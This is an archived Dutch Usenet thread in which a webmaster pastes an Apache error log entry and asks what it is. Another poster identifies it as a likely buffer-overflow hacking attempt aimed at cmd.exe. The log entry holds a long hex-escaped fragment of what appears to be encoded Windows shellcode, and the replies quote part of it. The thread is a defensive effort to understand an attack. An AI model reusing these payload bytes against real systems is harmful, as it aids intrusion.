PDA

Bekijk Volledige Versie : apache error log


christinA eijkhout
31/07/03, 13:58
Wat is dit?
x9d\x99\x99\x1aaf\xec\x96\t\t\t\tq\xb3fff\x10\x1c\ xdf\x9d\x99\x99\x12\x1c\xde\x9c\x99\x99\
xf3\x89\x14\x04\xdb\x9d\x99\x99\xca\xc9f\x0ci\x9c\ x99\x99\x1aa\x99\xec\xba\t\t\t\t\xf3\x9c\
x12\x1c\xde\x9c\x99\x99\xc9f\x0cl\x9c\x99\x99\x1aa \x99\xec\x92\t\t\t\t\x12\x1c\xde\x9c\x99\
x99Z\xaaYZ\x9b\x99\x99\xfa\x99\x99\x99\x99\x99\x99 \x99\x99\x99\x99\x99\x99!\x99\x99h\
xee\x18\xa1\xd4\xc3\t\x99\xed\x9e\t\t\t\t\xd1rh\x1 2A\x12\xea\xa5\x9aj\x12\xef\xe1\x9aj\
x12\xe7\xb9\x9ab\x12\xd7\x8d\xaaK\xcf\xce\xc8\x12\ xa6\x9ab\x14,\xc1\x9f\x99\x99\xaaP
(\x9ej\xff>
\xed\x95\t\t\t\t\xc0\xc6\x1a^\x9d\xdb{F\xc0\xc6\xc 7\x12S\x12\xdf\xbd\x9aZHx\x9aX\xaaP\xff\x12\x91\x1 2\xdf
\x85\x9aZXx\x9b\x9aX\x12\x99\x9aZ\x10\x1c\xf2\x9f\ x99\x99\x12Z\x14\x04\xd2\x9f\x99\x99q\xc9\x99\x99\
x99\x10\x1c\xfe\x9f\x99\x99Z\x14$\xca\x9c\x99\x99\ x12^\xceq\xb6\x99\x99\x99\xc6\xc9\xabY\xaaPnHek7\
xc1\x19\xa6\x99\xed\x8e\t\t\t\t\xc9\xce\x12Fq\x84\ x99\x99\x99\xc6\x10\x9e\xc1\xde\xde\xde\xder@\xde\ x19\
xa6\x99\xecSZ\xca\x14\x04\xfe\x9f\x99\x99\xc9f\x8a \xc2Z\xce\x14$\xf2\x9f\x99\x99\xca\xc9f\x8e\xc6Z\x 99\x99
\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x 99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\
x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\xd2\xdc\xc b\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\
xc9\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8\xeb\xe d\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8\ xed\
xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf 6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\ xf2\xd7\
xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xf b\xf8\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\ xfc\xdf\xf0\
xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xc a\xf5\xfc\xfc\xe9\x99\xcd\xfc\xeb\xf4\xf0\xf7\xf8\ xed\xfc\xc9\
xeb\xf6\xfa\xfc\xea\xea\x99\xdc\xe1\xf0\xed\xcd\xf 1\xeb\xfc\xf8\xfd\x99\x99\xce\xca\xab\xc6\xaa\xab\ x99\xea\
xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf 0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\ xea\
xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6\xe a\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xce\xca\xd8\xca\ xed\
xf8\xeb\xed\xec\xe9\x99\xfe\xfc\xed\xf1\xf6\xea\xe d\xf7\xf8\xf4\xfc\x99\xfe\xfc\xed\xf1\xf6\xea\xed\ xfb\
xe0\xf7\xf8\xf4\xfc\x99\xea\xfc\xed\xea\xf6\xfa\xf 2\xf6\xe9\xed\x99\x99\x99\xd5\xf6\xf8\xfd\xd5\xf0\ xfb\xeb\
xf8\xeb\xe0\xd8\x99\xde\xfc\xed\xc9\xeb\xf6\xfa\xd 8\xfd\xfd\xeb\xfc\xea\xea\x99\xea\xeb\x7f\xee\xa8\ xe9\x7f\
xee\x99\xfaL\xcdJ\x10cmd.exe$ HTTP/1.1
[Sun Jul 27 18:37:40 2003] [error] [client 210.6.229.120] requ




--
christinA Als ik straks van het net val, zou je mij herinneren?
of zou je niet eens merken dat ik ontnet ben?
[Briachons, 17.06.2002, pandora.test]
<http://www.briachons.net/><http://briachons.workingonit.org/>
Inca
31/07/03, 13:58
christinA eijkhout wrote:
[knip heel veel code]
> \xea\xeb\x7f\xee\xa8\xe9\x7f\
> xee\x99\xfaL\xcdJ\x10cmd.exe$ HTTP/1.1
> [Sun Jul 27 18:37:40 2003] [error] [client 210.6.229.120] requ

Hmmm, zo'n "cmd.exe" lijkt me een hackpoging, de rest van de code zal wel
een buffer-overrun proberen te creeren?

Inca
christinA eijkhout
31/07/03, 13:58
In nl.internet.www.server-side,,Sun, 27 Jul 2003 23:24:12 +0200, "Inca"
<shadow*movements@wanadoo.invalid> stated:

>christinA eijkhout wrote:
>[knip heel veel code]
>> \xea\xeb\x7f\xee\xa8\xe9\x7f\
>> xee\x99\xfaL\xcdJ\x10cmd.exe$ HTTP/1.1
>> [Sun Jul 27 18:37:40 2003] [error] [client 210.6.229.120] requ
>
>Hmmm, zo'n "cmd.exe" lijkt me een hackpoging, de rest van de code zal wel
>een buffer-overrun proberen te creeren?
>
Zoiets dacht ik ook, kvind er alleen geen nummer en tijd bij, door de
entries ervoor en na kan ik het ietwat reconstrueren, t blijft raar, kheb
er ongeveer 5 achterelkaar zo.

>Inca
>


--
christinA Als ik straks van het net val, zou je mij herinneren?
of zou je niet eens merken dat ik ontnet ben?
[Briachons, 17.06.2002, pandora.test]
<http://www.briachons.net/><http://briachons.workingonit.org/>